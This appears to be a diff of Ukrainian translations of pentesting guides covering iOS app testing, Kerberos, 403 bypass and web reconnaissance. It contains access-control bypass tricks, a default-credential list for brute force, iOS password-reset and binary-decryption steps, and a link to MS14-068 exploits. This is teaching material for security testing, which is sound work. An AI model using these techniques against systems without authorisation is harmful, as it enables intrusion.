**На пристрої shell додатки**, такі як NewTerm 2, полегшують безпосередню взаємодію з пристроєм, що особливо корисно для усунення неполадок. **Зворотні SSH shell** також можуть бути встановлені для віддаленого доступу з комп'ютера-хоста.
|
||||
|
||||
### **Скидання забутих паролів**
|
||||
|
||||
Щоб скинути забутий пароль до значення за замовчуванням (`alpine`), необхідно відредагувати файл `/private/etc/master.passwd`. Це передбачає заміну існуючого хешу на хеш для `alpine` поруч з записами користувачів `root` і `mobile`.
|
||||
Щоб скинути забутий пароль до значення за замовчуванням (`alpine`), необхідно редагувати файл `/private/etc/master.passwd`. Це передбачає заміну існуючого хешу на хеш для `alpine` поруч з записами користувачів `root` та `mobile`.
|
||||
|
||||
## **Техніки передачі даних**
|
||||
|
||||
### **Передача файлів даних додатків**
|
||||
|
||||
**Архівування та отримання через SSH та SCP:** Архівувати каталог даних додатка за допомогою `tar` і потім передати його за допомогою `scp` досить просто. Команда нижче архівує каталог даних у файл .tgz, який потім витягується з пристрою:
|
||||
**Архівування та отримання через SSH та SCP:** Легко архівувати каталог даних програми за допомогою `tar`, а потім передати його за допомогою `scp`. Команда нижче архівує каталог даних у файл .tgz, який потім витягується з пристрою:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Графічні інтерфейсні інструменти**
|
||||
|
||||
**Використання iFunbox та iExplorer:** Ці GUI інструменти корисні для управління файлами на пристроях iOS. Однак, починаючи з iOS 8.4, Apple обмежила доступ цих інструментів до пісочниці додатка, якщо пристрій не зламаний.
|
||||
**Використання iFunbox та iExplorer:** Ці GUI інструменти корисні для управління файлами на пристроях iOS. Однак, починаючи з iOS 8.4, Apple обмежила доступ цих інструментів до пісочниці додатків, якщо пристрій не зламаний.
|
||||
|
||||
### **Використання Objection для управління файлами**
|
||||
|
||||
**Інтерактивна оболонка з Objection:** Запуск objection надає доступ до каталогу Bundle додатка. Звідси ви можете перейти до каталогу Documents додатка та керувати файлами, включаючи їх завантаження та вивантаження на та з пристрою iOS.
|
||||
**Інтерактивна оболонка з Objection:** Запуск objection надає доступ до каталогу Bundle додатку. Звідси ви можете перейти до каталогу Documents додатку та керувати файлами, включаючи їх завантаження та вивантаження на та з пристрою iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
|
||||
|
||||
### **Процес розшифрування**
|
||||
|
||||
**Огляд ручного розшифрування:** Бінарні файли програм iOS шифруються Apple за допомогою FairPlay. Щоб виконати реверс-інжиніринг, потрібно витягти розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапора PIE, коригування прапорів пам'яті, ідентифікацію зашифрованої секції, а потім витягування та заміну цієї секції на її розшифровану форму.
|
||||
**Огляд ручного розшифрування:** Бінарні файли програм iOS зашифровані Apple за допомогою FairPlay. Щоб провести реверс-інжиніринг, потрібно витягти розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапора PIE, коригування прапорів пам'яті, ідентифікацію зашифрованої секції, а потім витягування та заміну цієї секції на її розшифровану форму.
|
||||
|
||||
**Перевірка та модифікація прапора PIE:**
|
||||
```bash
|
||||
@ -138,7 +138,7 @@ bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
|
||||
**r2flutch**, використовуючи як radare, так і frida, служить для дешифрування та дампінгу додатків. Більше інформації можна знайти на його [**GitHub сторінці**](https://github.com/as0ler/r2flutch).
|
||||
**r2flutch**, використовуючи як radare, так і frida, служить для декодування та дампінгу додатків. Більше інформації можна знайти на його [**GitHub сторінці**](https://github.com/as0ler/r2flutch).
|
||||
|
||||
### **Встановлення додатків**
|
||||
|
||||
@ -150,13 +150,13 @@ bagbak --raw Chrome
|
||||
|
||||
- **libimobiledevice**: Бібліотека для Linux та macOS для зв'язку з iOS пристроями. Команди для встановлення та приклади використання ideviceinstaller надаються для встановлення додатків через USB.
|
||||
|
||||
- **ipainstaller**: Цей інструмент командного рядка дозволяє безпосередньо встановлювати додатки на iOS пристрої.
|
||||
- **ipainstaller**: Цей інструмент командного рядка дозволяє безпосереднє встановлення додатків на iOS пристрої.
|
||||
|
||||
- **ios-deploy**: Для користувачів macOS, ios-deploy встановлює iOS додатки з командного рядка. Розпакування IPA та використання прапора `-m` для безпосереднього запуску додатка є частиною процесу.
|
||||
|
||||
- **Xcode**: Використовуйте Xcode для встановлення додатків, перейшовши до **Window/Devices and Simulators** та додавши додаток до **Installed Apps**.
|
||||
|
||||
#### **Дозволити встановлення додатків на пристроях, що не є iPad**
|
||||
#### **Дозволити встановлення додатків на пристрої, що не є iPad**
|
||||
|
||||
Щоб встановити специфічні для iPad додатки на пристрої iPhone або iPod touch, значення **UIDeviceFamily** у файлі **Info.plist** потрібно змінити на **1**. Однак ця модифікація вимагає повторного підписування IPA файлу через перевірки підпису.
|
||||
|
||||
@ -164,7 +164,7 @@ bagbak --raw Chrome
|
||||
|
||||
## References
|
||||
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
|
@ -15,7 +15,7 @@
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Щоб навчитися зловживати Kerberos, вам слід прочитати пост про** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
|
||||
### **Щоб навчитися зловживати Kerberos, вам слід прочитати пост про** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## Більше
|
||||
|
||||
@ -33,7 +33,7 @@ https://adsecurity.org/?p=541
|
||||
|
||||
Інші експлойти: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## HackTricks Автоматичні Команди
|
||||
## HackTricks Автоматичні команди
|
||||
```
|
||||
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
|
||||
Port_Number: 88 #Comma separated if there is more than one.
|
||||
|
@ -35,7 +35,7 @@
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
- Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **або** [**hop-by-hop заголовками**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
- Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **або** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
- Fuzz [**спеціальні HTTP заголовки**](special-http-headers.md), шукаючи різні відповіді.
|
||||
- **Fuzz спеціальні HTTP заголовки** під час fuzzing **HTTP Methods**.
|
||||
- **Видаліть заголовок Host**, і, можливо, ви зможете обійти захист.
|
||||
@ -45,7 +45,7 @@
|
||||
Якщо _/path_ заблоковано:
|
||||
|
||||
- Спробуйте використовувати _**/**_**%2e/path \_(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також**\_\*\* /%252e\*\*/path (подвійне кодування URL)
|
||||
- Спробуйте **Unicode обхід**: _/**%ef%bc%8f**path_ (кодування URL символів схоже на "/"), тому при повторному кодуванні це буде _//path_, і, можливо, ви вже обійшли перевірку назви _/path_
|
||||
- Спробуйте **Unicode bypass**: _/**%ef%bc%8f**path_ (кодування URL символів схоже на "/"), тому, коли його знову закодують, це буде _//path_, і, можливо, ви вже обійшли перевірку назви _/path_
|
||||
- **Інші обходи шляху**:
|
||||
- site.com/secret –> HTTP 403 Forbidden
|
||||
- site.com/SECRET –> HTTP 200 OK
|
||||
@ -61,7 +61,7 @@
|
||||
- /FUZZsecret
|
||||
- /FUZZ/secret
|
||||
- /secretFUZZ
|
||||
- **Інші обходи API:**
|
||||
- **Інші API обходи:**
|
||||
- /v3/users_data/1234 --> 403 Forbidden
|
||||
- /v1/users_data/1234 --> 200 OK
|
||||
- {“id”:111} --> 401 Unauthriozied
|
||||
@ -78,23 +78,23 @@
|
||||
- Видаліть параметри
|
||||
- Переставте параметри
|
||||
- Використовуйте спеціальні символи.
|
||||
- Виконайте граничне тестування параметрів — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів).
|
||||
- Виконайте тестування меж у параметрах — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів значень).
|
||||
|
||||
## **Protocol version**
|
||||
|
||||
Якщо ви використовуєте HTTP/1.1 **спробуйте використовувати 1.0** або навіть перевірте, чи **підтримує 2.0**.
|
||||
|
||||
## **Other Bypasses**
|
||||
## **Інші обходи**
|
||||
|
||||
- Отримайте **IP** або **CNAME** домену та спробуйте **зв'язатися з ним безпосередньо**.
|
||||
- Спробуйте **навантажити сервер**, надсилаючи звичайні GET запити ([Це спрацювало для цього хлопця з Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- **Змініть протокол**: з http на https, або з https на http
|
||||
- Перейдіть до [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **всесвітньо доступний**.
|
||||
- Перейдіть на [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **всесвітньо доступний**.
|
||||
|
||||
## **Brute Force**
|
||||
|
||||
- **Вгадайте пароль**: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
|
||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Спробуйте базову, дайджестну та NTLM аутентифікацію.
|
||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** спробуйте базову, дайджестну та NTLM автентифікацію.
|
||||
```:Common creds
|
||||
admin admin
|
||||
admin password
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 80,443 - Методологія Пентестингу Веб
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Info
|
||||
|
||||
Веб-сервіс є найпоширенішим та найобширнішим сервісом, і існує багато різних типів вразливостей.
|
||||
|
||||
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
|
||||
**Default port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -23,28 +23,28 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Методологія
|
||||
|
||||
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
|
||||
|
||||
- [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
|
||||
- [ ] Чи є якісь **відомі вразливості** версії технології?
|
||||
- [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання більше інформації?
|
||||
- [ ] Використовується якась **відомо технологія**? Якась **корисна порада** для отримання додаткової інформації?
|
||||
- [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
|
||||
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
|
||||
- [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
- [ ] Почніть **павукоподібно** веб-сторінку: настав час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід павукоподібно сканувати._
|
||||
- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
|
||||
- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **SSL/TLS сканування** (якщо HTTPS).
|
||||
- [ ] Розпочніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
|
||||
- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки в пошуках нових **файлів** та **каталогів**.
|
||||
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
|
||||
- [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
|
||||
- [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
|
||||
- [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
|
||||
- [ ] [Слідуйте цьому контрольному списку](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Версія сервера (вразлива?)
|
||||
|
||||
### Identify
|
||||
### Ідентифікація
|
||||
|
||||
Перевірте, чи є **відомі вразливості** для версії сервера, що працює.\
|
||||
**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap сканування** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
@ -64,14 +64,14 @@ Search **for** [**вразливості веб-додатку** **версії*
|
||||
|
||||
### Трюки веб-технологій
|
||||
|
||||
Деякі **трюки** для **пошуку вразливостей** у різних відомих **технологіях**:
|
||||
Декілька **трюків** для **пошуку вразливостей** у різних відомих **технологіях**:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
- [**Artifactory**](artifactory-hacking-guide.md)
|
||||
- [**Buckets**](buckets/)
|
||||
- [**Buckets**](buckets/index.html)
|
||||
- [**CGI**](cgi.md)
|
||||
- [**Drupal**](drupal/)
|
||||
- [**Drupal**](drupal/index.html)
|
||||
- [**Flask**](flask.md)
|
||||
- [**Git**](git.md)
|
||||
- [**Golang**](golang.md)
|
||||
@ -86,31 +86,31 @@ Search **for** [**вразливості веб-додатку** **версії*
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php має багато цікавих трюків, які можуть бути використані)**](php-tricks-esp/)
|
||||
- [**PHP (php має багато цікавих трюків, які можуть бути використані)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
- [**Tomcat**](tomcat/)
|
||||
- [**Tomcat**](tomcat/index.html)
|
||||
- [**VMWare**](vmware-esx-vcenter....md)
|
||||
- [**Web API Pentesting**](web-api-pentesting.md)
|
||||
- [**WebDav**](put-method-webdav.md)
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS до RCE)**](electron-desktop-apps/)
|
||||
- [**Electron Desktop (XSS до RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Зверніть увагу, що **один і той же домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\
|
||||
Якщо веб-додаток використовує будь-яку відому **технологію/платформу, зазначену раніше**, або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і дайте мені знати!).
|
||||
|
||||
### Огляд вихідного коду
|
||||
|
||||
Якщо **вихідний код** програми доступний на **github**, окрім проведення **власного тесту White box** програми, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
Якщо **вихідний код** програми доступний на **github**, окрім проведення **вашого власного тесту White box** програми, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
|
||||
- Чи є **Change-log або Readme або Version** файл або щось з **інформацією про версію, доступною** через веб?
|
||||
- Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (іменами користувачів або паролями)?
|
||||
- Чи є **паролі** у **звичайному тексті**, **зашифровані** або який **алгоритм хешування** використовується?
|
||||
- Чи використовується якийсь **майстер-ключ** для шифрування чогось? Який **алгоритм** використовується?
|
||||
- Чи можете ви **доступитися до будь-якого з цих файлів**, експлуатуючи якусь вразливість?
|
||||
- Чи є якась **цікава інформація в github** (вирішені та не вирішені) **проблеми**? Або в **історії комітів** (можливо, якийсь **пароль, введений у старому коміті**)?
|
||||
- Чи можете ви **отримати доступ до будь-яких з цих файлів**, експлуатуючи якусь вразливість?
|
||||
- Чи є якась **цікава інформація на github** (вирішені та не вирішені) **проблеми**? Або в **історії комітів** (можливо, якийсь **пароль, введений у старому коміті**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
|
||||
Якщо використовується CMS, не забудьте **запустити сканер**, можливо, буде знайдено щось цікаве:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **або** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **або** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> На цьому етапі ви вже повинні мати деяку інформацію про веб-сервер, що використовується клієнтом (якщо надані дані) та деякі хитрощі, які слід пам'ятати під час тестування. Якщо вам пощастить, ви навіть знайдете CMS і запустите деякий сканер.
|
||||
> На цьому етапі ви вже повинні мати деяку інформацію про веб-сервер, що використовується клієнтом (якщо надані дані) та деякі хитрощі, які слід пам'ятати під час тестування. Якщо вам пощастить, ви навіть знайшли CMS і запустили сканер.
|
||||
|
||||
## Покрокове виявлення веб-додатків
|
||||
|
||||
@ -162,18 +162,18 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- Також перевірте коментарі на основних та вторинних сторінках.
|
||||
|
||||
**Стимулювання помилок**
|
||||
**Виклик помилок**
|
||||
|
||||
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
|
||||
Веб-сервери можуть **несподівано реагувати**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
|
||||
|
||||
- Доступ до **фальшивих сторінок** на кшталт /whatever_fake.php (.aspx,.html,.тощо)
|
||||
- **Додайте "\[]", "]]" та "\[\["** у **значеннях cookie** та **значеннях параметрів**, щоб створити помилки
|
||||
- Доступ до **фейкових сторінок** на кшталт /whatever_fake.php (.aspx,.html,.тощо)
|
||||
- **Додайте "\[]", "]]" та "\[\["** у **значення cookie** та **значення параметрів**, щоб створити помилки
|
||||
- Генеруйте помилку, вводячи **`/~randomthing/%s`** в **кінці** **URL**
|
||||
- Спробуйте **різні HTTP методи** такі як PATCH, DEBUG або неправильні, як FAKE
|
||||
|
||||
#### **Перевірте, чи можете ви завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо прав для **завантаження файлів** у кореневу папку, спробуйте:
|
||||
Якщо ви виявили, що **WebDav** **увімкнено**, але у вас недостатньо прав для **завантаження файлів** у кореневу папку, спробуйте:
|
||||
|
||||
- **Брутфорсити** облікові дані
|
||||
- **Завантажити файли** через WebDav у **інші** **знайдені папки** на веб-сторінці. У вас можуть бути права на завантаження файлів в інших папках.
|
||||
@ -207,23 +207,23 @@ sslyze --regular <ip:port>
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх постачальників (wayback, otx, commoncrawl).
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify для JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів вразливостей, червоних команд, інфосек ніндзя.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів помилок, червоних команд, інфосек ніндзя.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Виглядає так, що не підтримується.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дано файл (HTML), він витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Даний файл (HTML) витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, кілька інструментів): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Знайти JS файли.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажити сторінку в безголовому браузері та вивести всі URL, завантажені для завантаження сторінки.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для виявлення вмісту, що поєднує кілька опцій попередніх інструментів.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів та параметрів у JS файлах.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, given the .js.map URL, отримає вам beautified JS код.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, отримавши URL .js.map, надасть вам beautified JS код.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
|
||||
@ -240,9 +240,9 @@ sslyze --regular <ip:port>
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Швидкий, підтримує рекурсивний пошук.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Швидкий: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, given the list of found URLs, видалить "дубльовані" URL.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, отримавши список знайдених URL, видалить "дубльовані" URL.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Розширення Burp для створення списку каталогів з історії burp різних сторінок.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованими функціями (на основі js імпортів).
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дублікатами функціональностей (на основі js імпортів).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору списків слів для використання.
|
||||
|
||||
**Рекомендовані словники:**
|
||||
@ -277,30 +277,30 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Коментарі:** Перевірте коментарі всіх файлів, ви можете знайти **облікові дані** або **приховану функціональність**.
|
||||
